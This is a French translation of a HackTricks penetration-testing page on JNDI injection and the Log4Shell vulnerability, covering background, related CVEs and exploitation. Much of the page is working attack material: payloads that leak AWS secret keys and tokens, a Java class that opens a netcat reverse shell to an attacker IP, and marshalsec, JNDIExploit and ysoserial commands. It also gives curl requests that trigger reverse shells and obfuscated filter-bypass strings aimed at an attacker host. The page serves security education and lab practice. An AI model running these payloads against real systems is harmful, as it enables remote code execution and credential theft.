mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
474 lines
35 KiB
Markdown
474 lines
35 KiB
Markdown
# JNDI - Java Naming and Directory Interface & Log4Shell
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
Autres façons de soutenir HackTricks :
|
||
|
||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||
|
||
</details>
|
||
|
||
**Groupe de sécurité Try Hard**
|
||
|
||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
## Informations de base
|
||
|
||
JNDI, intégré dans Java depuis la fin des années 1990, sert de service de répertoire, permettant aux programmes Java de localiser des données ou des objets via un système de nommage. Il prend en charge divers services de répertoire via des interfaces de fournisseur de services (SPI), permettant la récupération de données à partir de différents systèmes, y compris des objets Java distants. Les SPI courants incluent CORBA COS, le registre Java RMI et LDAP.
|
||
|
||
### Référence de nommage JNDI
|
||
|
||
Les objets Java peuvent être stockés et récupérés à l'aide de références de nommage JNDI, qui se présentent sous deux formes :
|
||
|
||
* **Adresses de référence** : Spécifie l'emplacement d'un objet (par exemple, _rmi://serveur/ref_), permettant une récupération directe à partir de l'adresse spécifiée.
|
||
* **Usine distante** : Référence une classe d'usine distante. Lorsqu'elle est accédée, la classe est téléchargée et instanciée à partir de l'emplacement distant.
|
||
|
||
Cependant, ce mécanisme peut être exploité, entraînant potentiellement le chargement et l'exécution de code arbitraire. Comme contre-mesure :
|
||
|
||
* **RMI** : `java.rmi.server.useCodeabseOnly = true` par défaut à partir de JDK 7u21, restreignant le chargement d'objets distants. Un gestionnaire de sécurité limite davantage ce qui peut être chargé.
|
||
* **LDAP** : `com.sun.jndi.ldap.object.trustURLCodebase = false` par défaut à partir de JDK 6u141, 7u131, 8u121, bloquant l'exécution d'objets Java chargés à distance. Si défini sur `true`, l'exécution de code à distance est possible sans surveillance d'un gestionnaire de sécurité.
|
||
* **CORBA** : N'a pas de propriété spécifique, mais le gestionnaire de sécurité est toujours actif.
|
||
|
||
Cependant, le **Gestionnaire de nommage**, responsable de la résolution des liens JNDI, ne dispose pas de mécanismes de sécurité intégrés, permettant potentiellement la récupération d'objets à partir de n'importe quelle source. Cela présente un risque car les protections RMI, LDAP et CORBA peuvent être contournées, entraînant le chargement d'objets Java arbitraires ou l'exploitation de composants d'application existants (gadgets) pour exécuter du code malveillant.
|
||
|
||
Des exemples d'URL exploitables incluent :
|
||
|
||
* _rmi://serveur-attaquant/bar_
|
||
* _ldap://serveur-attaquant/bar_
|
||
* _iiop://serveur-attaquant/bar_
|
||
|
||
Malgré les protections, des vulnérabilités subsistent, principalement en raison du manque de protections contre le chargement de JNDI à partir de sources non fiables et de la possibilité de contourner les protections existantes.
|
||
|
||
### Exemple JNDI
|
||
|
||
.png>)
|
||
|
||
Même si vous avez défini un **`PROVIDER_URL`**, vous pouvez indiquer un autre dans une recherche et y accéder : `ctx.lookup("<URL-contrôlée-par-l'attaquant>")` et c'est ce qu'un attaquant exploitera pour charger des objets arbitraires à partir d'un système contrôlé par lui.
|
||
|
||
### Aperçu de CORBA
|
||
|
||
CORBA (Common Object Request Broker Architecture) utilise une **Référence d'objet interopérable (IOR)** pour identifier de manière unique les objets distants. Cette référence inclut des informations essentielles telles que :
|
||
|
||
* **ID de type** : Identifiant unique pour une interface.
|
||
* **Codebase** : URL pour obtenir la classe de stub.
|
||
|
||
Notamment, CORBA n'est pas intrinsèquement vulnérable. Assurer la sécurité implique généralement :
|
||
|
||
* Installation d'un **Gestionnaire de sécurité**.
|
||
* Configuration du Gestionnaire de sécurité pour autoriser les connexions à des bases de code potentiellement malveillantes. Cela peut être réalisé via :
|
||
* Autorisation de socket, par exemple, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||
* Autorisations de lecture de fichiers, soit universellement (`permission java.io.FilePermission "<<TOUS LES FICHIERS>>", "read";`) ou pour des répertoires spécifiques où des fichiers malveillants pourraient être placés.
|
||
|
||
Cependant, certaines politiques de fournisseurs peuvent être indulgentes et autoriser ces connexions par défaut.
|
||
|
||
### Contexte RMI
|
||
|
||
Pour RMI (Invocation de méthode à distance), la situation est quelque peu différente. Comme pour CORBA, le téléchargement de classes arbitraires est restreint par défaut. Pour exploiter RMI, il faudrait généralement contourner le Gestionnaire de sécurité, un exploit également pertinent en CORBA.
|
||
|
||
### LDAP
|
||
|
||
Tout d'abord, nous devons distinguer entre une Recherche et un Lookup.\
|
||
Une **recherche** utilisera une URL comme `ldap://localhost:389/o=JNDITutorial` pour trouver l'objet JNDITutorial à partir d'un serveur LDAP et **récupérer ses attributs**.\
|
||
Un **lookup** est destiné aux **services de nommage** car nous voulons obtenir **tout ce qui est lié à un nom**.
|
||
|
||
Si la recherche LDAP a été invoquée avec **SearchControls.setReturningObjFlag() avec `true`, alors l'objet retourné sera reconstruit**.
|
||
|
||
Par conséquent, il existe plusieurs façons d'attaquer ces options.\
|
||
Un **attaquant peut empoisonner les enregistrements LDAP en introduisant des charges utiles** qui seront exécutées dans les systèmes qui les collectent (très utile pour **compromettre des dizaines de machines** si vous avez accès au serveur LDAP). Une autre façon d'exploiter cela serait de réaliser une **attaque de l'homme du milieu dans une recherche LDAP** par exemple.
|
||
|
||
Dans le cas où vous pouvez **faire résoudre une URL LDAP JNDI par une application**, vous pouvez contrôler le LDAP qui sera recherché, et vous pourriez renvoyer l'exploit (log4shell).
|
||
|
||
#### Exploitation de la désérialisation
|
||
|
||
.png>)
|
||
|
||
L'**exploit est sérialisé** et sera désérialisé.\
|
||
Si `trustURLCodebase` est `true`, un attaquant peut fournir ses propres classes dans la base de code, sinon, il devra exploiter des gadgets dans le classpath.
|
||
|
||
#### Exploitation de la référence JNDI
|
||
|
||
Il est plus facile d'attaquer ce LDAP en utilisant des **références JavaFactory** :
|
||
|
||
.png>)
|
||
|
||
## Vulnérabilité Log4Shell
|
||
|
||
La vulnérabilité est introduite dans Log4j car il prend en charge une [**syntaxe spéciale**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) sous la forme `${préfixe:nom}` où `préfixe` est l'un des différents [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) où `nom` doit être évalué. Par exemple, `${java:version}` est la version actuelle de Java en cours d'exécution.
|
||
|
||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) a introduit une fonction de recherche `jndi`. Cette fonction permet la récupération de variables via JNDI. En général, la clé est automatiquement préfixée par `java:comp/env/`. Cependant, si la clé elle-même inclut un **":"**, ce préfixe par défaut n'est pas appliqué.
|
||
|
||
Avec un **: présent** dans la clé, comme dans `${jndi:ldap://exemple.com/a}`, il n'y a **pas de préfixe** et le **serveur LDAP est interrogé pour l'objet**. Et ces Lookups peuvent être utilisés à la fois dans la configuration de Log4j et lors de la journalisation des lignes.
|
||
|
||
Par conséquent, la seule chose nécessaire pour obtenir une RCE est une **version vulnérable de Log4j traitant des informations contrôlées par l'utilisateur**. Et comme il s'agit d'une bibliothèque largement utilisée par les applications Java pour journaliser des informations (y compris les applications accessibles sur Internet), il était très courant d'avoir des journaux log4j par exemple des en-têtes HTTP reçus comme l'User-Agent. Cependant, log4j **n'est pas utilisé uniquement pour journaliser des informations HTTP mais toute entrée** et les données indiquées par le développeur.
|
||
## Vue d'ensemble des CVE liées à Log4Shell
|
||
|
||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critique]**
|
||
|
||
Cette vulnérabilité est une faille de désérialisation critique et non fiable dans le composant `log4j-core`, affectant les versions de 2.0-beta9 à 2.14.1. Elle permet l'**exécution de code à distance (RCE)**, permettant aux attaquants de prendre le contrôle des systèmes. Le problème a été signalé par Chen Zhaojun de l'équipe de sécurité d'Alibaba Cloud et affecte divers frameworks Apache. La correction initiale dans la version 2.15.0 était incomplète. Des règles Sigma pour la défense sont disponibles ([Règle 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Règle 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||
|
||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critique]**
|
||
|
||
Initialement classée comme faible mais ensuite rehaussée au niveau critique, cette CVE est une faille de **Déni de Service (DoS)** résultant d'une correction incomplète dans la version 2.15.0 pour la CVE-2021-44228. Elle affecte les configurations non par défaut, permettant aux attaquants de provoquer des attaques DoS à travers des charges utiles élaborées. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) présente une méthode de contournement. Le problème est résolu dans les versions 2.16.0 et 2.12.2 en supprimant les modèles de recherche de messages et en désactivant JNDI par défaut.
|
||
|
||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Élevée]**
|
||
|
||
Affectant les versions **Log4j 1.x** dans les configurations non par défaut utilisant `JMSAppender`, cette CVE est une faille de désérialisation non fiable. Aucune correction n'est disponible pour la branche 1.x, qui est en fin de vie, et il est recommandé de passer à `log4j-core 2.17.0`.
|
||
|
||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Modérée]**
|
||
|
||
Cette vulnérabilité affecte le **cadre de journalisation Logback**, successeur de Log4j 1.x. Initialement considéré comme sûr, le cadre s'est révélé vulnérable, et de nouvelles versions (1.3.0-alpha11 et 1.2.9) ont été publiées pour résoudre le problème.
|
||
|
||
### **CVE-2021-45105** **\[Élevée]**
|
||
|
||
Log4j 2.16.0 contient une faille de DoS, entraînant la publication de `log4j 2.17.0` pour corriger la CVE. Plus de détails sont disponibles dans le [rapport](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) de BleepingComputer.
|
||
|
||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||
|
||
Affectant la version 2.17 de log4j, cette CVE nécessite que l'attaquant contrôle le fichier de configuration de log4j. Elle implique une exécution potentielle de code arbitraire via un JDBCAppender configuré. Plus de détails sont disponibles dans le [billet de blog Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||
|
||
## Exploitation de Log4Shell
|
||
|
||
### Découverte
|
||
|
||
Cette vulnérabilité est très facile à découvrir si elle n'est pas protégée car elle enverra au moins une **requête DNS** à l'adresse que vous indiquez dans votre charge utile. Par conséquent, des charges utiles telles que :
|
||
|
||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (en utilisant [canarytokens.com](https://canarytokens.org/generate))
|
||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (en utilisant [interactsh](https://github.com/projectdiscovery/interactsh))
|
||
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (en utilisant Burp Suite)
|
||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (en utilisant [dnslog](http://dnslog.cn))
|
||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (en utilisant [huntress](https://log4shell.huntress.com))
|
||
|
||
Notez que **même si une requête DNS est reçue, cela ne signifie pas que l'application est exploitable** (ou même vulnérable), vous devrez essayer de l'exploiter.
|
||
|
||
{% hint style="info" %}
|
||
N'oubliez pas que pour **exploiter la version 2.15**, vous devez ajouter la **bypass de vérification de localhost** : ${jndi:ldap://**127.0.0.1#**...}
|
||
{% endhint %}
|
||
|
||
#### **Découverte locale**
|
||
|
||
Recherchez les **versions vulnérables locales** de la bibliothèque avec :
|
||
```bash
|
||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||
```
|
||
### **Vérification**
|
||
|
||
Certains des plateformes mentionnées précédemment vous permettront d'insérer des données variables qui seront enregistrées lorsqu'elles sont demandées.\
|
||
Cela peut être très utile pour 2 choses:
|
||
|
||
* Pour **vérifier** la vulnérabilité
|
||
* Pour **exfiltrer des informations** en abusant de la vulnérabilité
|
||
|
||
Par exemple, vous pourriez demander quelque chose comme:\
|
||
ou comme `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** et si une **requête DNS est reçue avec la valeur de la variable d'environnement**, vous saurez que l'application est vulnérable.
|
||
|
||
D'autres informations que vous pourriez essayer de **fuir**:
|
||
```
|
||
${env:AWS_ACCESS_KEY_ID}
|
||
${env:AWS_CONFIG_FILE}
|
||
${env:AWS_PROFILE}
|
||
${env:AWS_SECRET_ACCESS_KEY}
|
||
${env:AWS_SESSION_TOKEN}
|
||
${env:AWS_SHARED_CREDENTIALS_FILE}
|
||
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
|
||
${env:HOSTNAME}
|
||
${env:JAVA_VERSION}
|
||
${env:PATH}
|
||
${env:USER}
|
||
${hostName}
|
||
${java.vendor}
|
||
${java:os}
|
||
${java:version}
|
||
${log4j:configParentLocation}
|
||
${sys:PROJECT_HOME}
|
||
${sys:file.separator}
|
||
${sys:java.class.path}
|
||
${sys:java.class.path}
|
||
${sys:java.class.version}
|
||
${sys:java.compiler}
|
||
${sys:java.ext.dirs}
|
||
${sys:java.home}
|
||
${sys:java.io.tmpdir}
|
||
${sys:java.library.path}
|
||
${sys:java.specification.name}
|
||
${sys:java.specification.vendor}
|
||
${sys:java.specification.version}
|
||
${sys:java.vendor.url}
|
||
${sys:java.vendor}
|
||
${sys:java.version}
|
||
${sys:java.vm.name}
|
||
${sys:java.vm.specification.name}
|
||
${sys:java.vm.specification.vendor}
|
||
${sys:java.vm.specification.version}
|
||
${sys:java.vm.vendor}
|
||
${sys:java.vm.version}
|
||
${sys:line.separator}
|
||
${sys:os.arch}
|
||
${sys:os.name}
|
||
${sys:os.version}
|
||
${sys:path.separator}
|
||
${sys:user.dir}
|
||
${sys:user.home}
|
||
${sys:user.name}
|
||
|
||
Any other env variable name that could store sensitive information
|
||
```
|
||
### Informations sur l'exécution de code à distance
|
||
|
||
{% hint style="info" %}
|
||
Les hôtes exécutant des versions JDK supérieures à 6u141, 7u131 ou 8u121 sont protégés contre le vecteur d'attaque de chargement de classe LDAP. Cela est dû à la désactivation par défaut de `com.sun.jndi.ldap.object.trustURLCodebase`, qui empêche JNDI de charger une base de code distante via LDAP. Cependant, il est crucial de noter que ces versions ne sont **pas protégées contre le vecteur d'attaque de désérialisation**.
|
||
|
||
Pour les attaquants cherchant à exploiter ces versions JDK plus élevées, il est nécessaire d'utiliser un **gadget de confiance** au sein de l'application Java. Des outils comme ysoserial ou JNDIExploit sont souvent utilisés à cette fin. En revanche, l'exploitation de versions JDK inférieures est relativement plus facile car ces versions peuvent être manipulées pour charger et exécuter des classes arbitraires.
|
||
|
||
Pour **plus d'informations** (_comme les limitations sur les vecteurs RMI et CORBA_), **consultez la section de référence précédente sur le nommage JNDI** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||
{% endhint %}
|
||
|
||
### RCE - Marshalsec avec charge utile personnalisée
|
||
|
||
Vous pouvez tester cela dans la **boîte THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||
|
||
Utilisez l'outil [**marshalsec**](https://github.com/mbechler/marshalsec) (version jar disponible [**ici**](https://github.com/RandomRobbieBF/marshalsec-jar)). Cette approche établit un serveur de renvoi LDAP pour rediriger les connexions vers un serveur HTTP secondaire où l'exploit sera hébergé:
|
||
```bash
|
||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||
```
|
||
Pour inciter la cible à charger un code de shell inversé, créez un fichier Java nommé `Exploit.java` avec le contenu ci-dessous :
|
||
```java
|
||
public class Exploit {
|
||
static {
|
||
try {
|
||
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
|
||
} catch (Exception e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
}
|
||
```
|
||
Compilez le fichier Java en un fichier de classe en utilisant : `javac Exploit.java -source 8 -target 8`. Ensuite, lancez un **serveur HTTP** dans le répertoire contenant le fichier de classe avec : `python3 -m http.server`. Assurez-vous que le **serveur LDAP marshalsec** fait référence à ce serveur HTTP.
|
||
|
||
Déclenchez l'exécution de la classe d'exploit sur le serveur web vulnérable en envoyant une charge utile ressemblant à :
|
||
```bash
|
||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||
```
|
||
**Remarque :** Cette faille repose sur la configuration de Java permettant le chargement à distance du code via LDAP. Si cela n'est pas autorisé, envisagez d'exploiter une classe de confiance pour l'exécution de code arbitraire.
|
||
|
||
### RCE - **JNDIExploit**
|
||
|
||
{% hint style="info" %}
|
||
Notez que pour une raison quelconque, l'auteur a supprimé ce projet de Github après la découverte de log4shell. Vous pouvez trouver une version mise en cache sur [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mais si vous souhaitez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.
|
||
|
||
De plus, vous ne pouvez pas trouver le code source dans la machine à remonter le temps, donc analysez le code source ou exécutez le jar en sachant que vous ne savez pas ce que vous exécutez.
|
||
{% endhint %}
|
||
|
||
Pour cet exemple, vous pouvez simplement exécuter ce **serveur web vulnérable à log4shell** sur le port 8080 : [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_dans le README, vous trouverez comment l'exécuter_). Cette application vulnérable enregistre avec une version vulnérable de log4shell le contenu de l'en-tête de requête HTTP _X-Api-Version_.
|
||
|
||
Ensuite, vous pouvez télécharger le fichier jar **JNDIExploit** et l'exécuter avec :
|
||
```bash
|
||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||
unzip JNDIExploit.v1.2.zip
|
||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||
```
|
||
Après avoir lu le code pendant seulement quelques minutes, dans _com.feihong.ldap.LdapServer_ et _com.feihong.ldap.HTTPServer_, vous pouvez voir comment les **serveurs LDAP et HTTP sont créés**. Le serveur LDAP comprendra quel payload doit être servi et redirigera la victime vers le serveur HTTP, qui servira l'exploit.\
|
||
Dans _com.feihong.ldap.gadgets_, vous pouvez trouver **certains gadgets spécifiques** qui peuvent être utilisés pour exécuter l'action souhaitée (potentiellement exécuter du code arbitraire). Et dans _com.feihong.ldap.template_, vous pouvez voir les différentes classes de modèles qui **généreront les exploits**.
|
||
|
||
Vous pouvez voir tous les exploits disponibles avec **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Certains utiles sont :
|
||
```bash
|
||
ldap://null:1389/Basic/Dnslog/[domain]
|
||
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
|
||
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
|
||
# But there are a lot more
|
||
```
|
||
Donc, dans notre exemple, nous avons déjà cette application docker vulnérable en cours d'exécution. Pour l'attaquer :
|
||
```bash
|
||
# Create a file inside of th vulnerable host:
|
||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
|
||
|
||
# Get a reverse shell (only unix)
|
||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
||
```
|
||
Lors de l'envoi des attaques, vous verrez une sortie dans le terminal où vous avez exécuté **JNDIExploit-1.2-SNAPSHOT.jar**.
|
||
|
||
**N'oubliez pas de vérifier `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` pour d'autres options d'exploitation. De plus, si nécessaire, vous pouvez changer le port des serveurs LDAP et HTTP.**
|
||
|
||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||
|
||
De manière similaire à l'exploit précédent, vous pouvez essayer d'utiliser [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) pour exploiter cette vulnérabilité.\
|
||
Vous pouvez générer les URL à envoyer à la victime en exécutant :
|
||
```bash
|
||
# Get reverse shell in port 4444 (only unix)
|
||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
||
|
||
# Execute command
|
||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||
```
|
||
_Cette attaque utilisant un objet Java généré sur mesure fonctionnera dans des environnements comme la **salle solaire THM**. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger une base de code distante en utilisant LDAP) je pense parce qu'elle n'exploite pas une classe de confiance pour exécuter du code arbitraire._
|
||
|
||
### RCE - JNDI-Injection-Exploit-Plus
|
||
|
||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) est un autre outil pour générer des **liens JNDI fonctionnels** et fournir des services de fond en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP.\
|
||
|
||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||
|
||
Cette option est vraiment utile pour attaquer les **versions Java configurées pour faire confiance uniquement à des classes spécifiées et non à tout le monde**. Par conséquent, **ysoserial** sera utilisé pour générer des **sérialisations de classes de confiance** qui peuvent être utilisées comme gadgets pour **exécuter du code arbitraire** (_la classe de confiance exploitée par ysoserial doit être utilisée par le programme Java victime pour que l'exploit fonctionne_).
|
||
|
||
En utilisant **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), vous pouvez créer l'exploit de désérialisation qui sera téléchargé par JNDI:
|
||
```bash
|
||
# Rev shell via CommonsCollections5
|
||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||
```
|
||
Utilisez [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) pour générer des **liens JNDI** où l'exploit attendra des connexions des machines vulnérables. Vous pouvez servir **différents exploits qui peuvent être générés automatiquement** par le JNDI-Exploit-Kit ou même vos **propres charges utiles de désérialisation** (générées par vous ou ysoserial).
|
||
```bash
|
||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||
```
|
||
.png>)
|
||
|
||
Maintenant, vous pouvez facilement utiliser un lien JNDI généré pour exploiter la vulnérabilité et obtenir un **shell inversé** en envoyant simplement vers une version vulnérable de log4j : **`${ldap://10.10.14.10:1389/generated}`**
|
||
|
||
### Contournements
|
||
```java
|
||
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
|
||
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
|
||
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
|
||
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
|
||
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
|
||
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
|
||
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
|
||
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
|
||
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||
```
|
||
### Scanners Automatiques
|
||
|
||
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
|
||
* [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
|
||
* [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
|
||
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
|
||
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
|
||
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
|
||
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Trouver des bibliothèques vulnérables localement
|
||
|
||
### Laboratoires pour tester
|
||
|
||
* [**Machine LogForge HTB**](https://app.hackthebox.com/tracks/UHC-track)
|
||
* [**Salle Solar Try Hack Me**](https://tryhackme.com/room/solar)
|
||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||
|
||
## Post-Exploitation Log4Shell
|
||
|
||
Dans ce [**writeup CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), il est bien expliqué comment il est potentiellement **possible** d'**abuser** de certaines fonctionnalités de **Log4J**.
|
||
|
||
La [**page de sécurité**](https://logging.apache.org/log4j/2.x/security.html) de Log4j contient des phrases intéressantes :
|
||
|
||
> À partir de la version 2.16.0 (pour Java 8), la fonctionnalité de **recherche de messages a été complètement supprimée**. Les **recherches dans la configuration fonctionnent toujours**. De plus, Log4j désactive désormais l'accès à JNDI par défaut. Les recherches JNDI dans la configuration doivent désormais être activées explicitement.
|
||
|
||
> À partir de la version 2.17.0 (et 2.12.3 et 2.3.1 pour Java 7 et Java 6), **seules les chaînes de recherche dans la configuration sont étendues de manière récursive** ; dans tout autre usage, seule la recherche de niveau supérieur est résolue, et les recherches imbriquées ne sont pas résolues.
|
||
|
||
Cela signifie qu'en général, vous pouvez **oublier l'utilisation de toute exploitation `jndi`**. De plus, pour effectuer des **recherches récursives**, vous devez les configurer.
|
||
|
||
Par exemple, dans ce CTF, cela était configuré dans le fichier log4j2.xml :
|
||
```xml
|
||
<Console name="Console" target="SYSTEM_ERR">
|
||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||
</PatternLayout>
|
||
</Console>
|
||
```
|
||
### Recherches d'Environnement
|
||
|
||
Dans [ce CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), l'attaquant contrôlait la valeur de `${sys:cmd}` et devait exfiltrer le drapeau d'une variable d'environnement.\
|
||
Comme vu sur cette page dans les [**charges utiles précédentes**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), il existe différentes façons d'accéder aux variables d'environnement, telles que: **`${env:FLAG}`**. Dans ce CTF, cela était inutile mais pourrait être utile dans d'autres scénarios réels.
|
||
|
||
### Exfiltration dans les Exceptions
|
||
|
||
Dans le CTF, vous **ne pouviez pas accéder au stderr** de l'application Java en utilisant log4J, mais les **exceptions Log4J sont envoyées vers stdout**, qui était imprimé dans l'application Python. Cela signifiait qu'en déclenchant une exception, nous pouvions accéder au contenu. Une exception pour exfiltrer le drapeau était: **`${java:${env:FLAG}}`.** Cela fonctionne car **`${java:CTF{blahblah}}`** n'existe pas et une exception avec la valeur du drapeau sera affichée:
|
||
|
||
.png>)
|
||
|
||
### Exceptions de Modèles de Conversion
|
||
|
||
Juste pour mentionner, vous pourriez également injecter de nouveaux [**modèles de conversion**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) et déclencher des exceptions qui seront enregistrées dans `stdout`. Par exemple:
|
||
|
||
.png>)
|
||
|
